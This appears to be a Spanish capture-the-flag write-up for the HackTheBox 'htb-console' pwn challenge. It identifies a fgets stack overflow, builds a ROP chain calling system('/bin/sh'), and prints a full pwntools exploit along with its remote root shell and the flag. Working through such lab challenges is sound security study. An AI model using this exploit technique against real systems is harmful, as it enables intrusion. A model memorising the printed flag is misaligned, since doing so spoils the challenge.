Enumeración
El binario entregado de primeras no nos deja claro el uso
que este tiene o que hace
❯ ./hackthebox-console
Welcome HTB Console Version 0.1 Beta.
>> help
Unrecognized command.
>>
Podemos analizarlo con ida
para asi poder ver el pseudocodigo de main en c
La función main
es bastante sencilla, declara un buffer de 16
bytes para una string que recibe con fgets
y al recibirla se la pasa a la funcion console
como argumento
void __fastcall __noreturn main(__int64 param_1, char **param_2, char **param_3)
{
char string[16]; // [rsp+0h] [rbp-10h] BYREF
setup(param_1, param_2, param_3);
puts("Welcome HTB Console Version 0.1 Beta.");
while ( true )
{
printf(">> ");
fgets(string, 16, stdin);
console(string);
memset(string, 0, sizeof(string));
}
}
La funcion console
maneja los posibles diferentes comandos que espera recibir
int __fastcall console(const char *string)
{
char flag[16]; // [rsp+10h] [rbp-10h] BYREF
if ( !strcmp(string, "id\n") )
return puts("guest(1337) guest(1337) HTB(31337)");
if ( !strcmp(string, "dir\n") )
return puts("/home/hackthebox");
if ( !strcmp(string, "flag\n") )
{
printf("Enter flag: ");
fgets(flag, 48, stdin);
return puts("Whoops, wrong flag!");
}
else if ( !strcmp(string, "hof\n") )
{
puts("Register yourself for HTB Hall of Fame!");
printf("Enter your name: ");
fgets(name, 10, stdin);
return puts("See you on HoF soon! :)");
}
else if ( !strcmp(string, "ls\n") )
{
puts("- Boxes");
puts("- Challenges");
puts("- Endgames");
puts("- Fortress");
return puts("- Battlegrounds");
}
else if ( !strcmp(string, "date\n") )
{
return system("date");
}
else
{
return puts("Unrecognized command.");
}
}
Hay una vulnerabilidad en el comando flag
y viene de usar con un buffer tan limitado de 16
bytes la funcion fgets
, ya que puede resultar en un buffer overflow
char flag[16];
if ( !strcmp(string, "flag\n") )
{
printf("Enter flag: ");
fgets(flag, 48, stdin);
return puts("Whoops, wrong flag!");
}
Mirando las protecciones del binario nos encontramos con NX
que nos impedira poder ejecutar shellcode en la pila por lo que es probable que necesitemos de ROP
❯ checksec htb-console
[*] '/home/kali/hackthebox-console'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Explotación
Para iniciar abrimos le binario con gdb
y creamos un patron de 50 caracteres especiales para buscar el offset
, despues corremos el programa y lo enviamos
❯ gdb -q htb-console
Reading symbols from htb-console...
(No debugging symbols found in htb-console)
pwndbg> cyclic 50
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga
pwndbg> run
Starting program: /home/kali/hackthebox-console
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Welcome HTB Console Version 0.1 Beta.
>> flag
Enter flag: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga
Whoops, wrong flag!
Program received signal SIGSEGV, Segmentation fault.
0x0000000000401396 in ?? ()
pwndbg>
Una vez corrompe podemos buscar el offset usando cyclic -l
que es la cantidad de bytes necesarios antes de sobreescribir la siguiente instruccion de retorno
pwndbg> x/gx $rsp
0x7fffffffe558: 0x6161616161616164
pwndbg> cyclic -l 0x6161616161616164
Finding cyclic pattern of 8 bytes: b'daaaaaaa' (hex: 0x6461616161616161)
Found at offset 24
pwndbg>
Sabemos que el NX esta habilitado por lo que tendremos que usar ROP
, iniciamos buscando la direccion de system
para poder usarla y asi ejecutar comandos
pwndbg> info functions system
All functions matching regular expression "system@plt":
Non-debugging symbols:
0x0000000000401040 system@plt
pwndbg>
Nuestra idea sera ejecutar una /bin/sh
pero para pasarsela como argumento a system
tenemos que guardarla en el registro RDI para ello usaremos un pop rdi
❯ ropper --file htb-console --search "pop rdi; ret;"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi; ret;
[INFO] File: htb-console
0x0000000000401473: pop rdi; ret;
Sin embargo la string /bin/sh
no existe en el binario, aunque algo interesante es el comando hof
que recibe una string y es probable que guarde en memoria
if ( !strcmp(string, "hof\n") )
{
puts("Register yourself for HTB Hall of Fame!");
printf("Enter your name: ");
fgets(name, 10, stdin);
return puts("See you on HoF soon! :)");
Corremos el programa y usamos el comando hof
enviando como nombre /bin/sh
, si despues de eso buscamos la string aparece en la direccion 0x4040b0
del binario
pwndbg> run
Starting program: /home/kali/hackthebox-console
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Welcome HTB Console Version 0.1 Beta.
>> hof
Register yourself for HTB Hall of Fame!
Enter your name: /bin/sh
See you on HoF soon! :)
>> ^C
Program received signal SIGINT, Interrupt.
pwndbg> search /bin/sh
Searching for value: '/bin/sh'
htb-console 0x4040b0 '/bin/sh\n'
pwndbg>
El payload para el explotarlo enviara basura hasta antes de la siguiente instruccion de retorno, guardara /bin/sh
como argumento en rdi que ejecutara con system
payload = b""
payload += junk
payload += pop_rdi + bin_sh
payload += system
El exploit usara el comando hof para guardar la cadena /bin/sh
en 0x4040b0
y despues enviara el payload para el buffer overflow
que nos devolvera una shell
shell.sendlineafter(b">> ", b"hof")
shell.sendlineafter(b"name: ", b"/bin/sh\x00")
shell.sendlineafter(b">> ", b"flag")
shell.sendlineafter(b"flag: ", payload)
El exploit final para explotarlo quedaria de esta forma, este espera un argumento que es el host y el puerto separados por un :
como lo otorga htb
#!/usr/bin/python3
from pwn import remote, p64, log, sys
if len(sys.argv) < 2:
log.failure(f"Uso: python3 {sys.argv[0]} <host:port>")
sys.exit(1)
host, port = sys.argv[1].split(":")
shell = remote(host, port)
offset = 24
junk = b"A" * offset
pop_rdi = p64(0x401473)
system = p64(0x401040)
bin_sh = p64(0x4040b0)
payload = b""
payload += junk
payload += pop_rdi + bin_sh
payload += system
shell.sendlineafter(b">> ", b"hof")
shell.sendlineafter(b"name: ", b"/bin/sh\x00")
shell.sendlineafter(b">> ", b"flag")
shell.sendlineafter(b"flag: ", payload)
shell.recv()
shell.interactive()
Al ejecutar el exploit remoto conseguimos una shell como root
donde leemos la flag
❯ python3 exploit.py 206.189.28.151:30178
[+] Opening connection to 206.189.28.151 on port 30178: Done
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$ cat flag.txt
HTB{fl@g_a$_a_s3rv1c3?}
$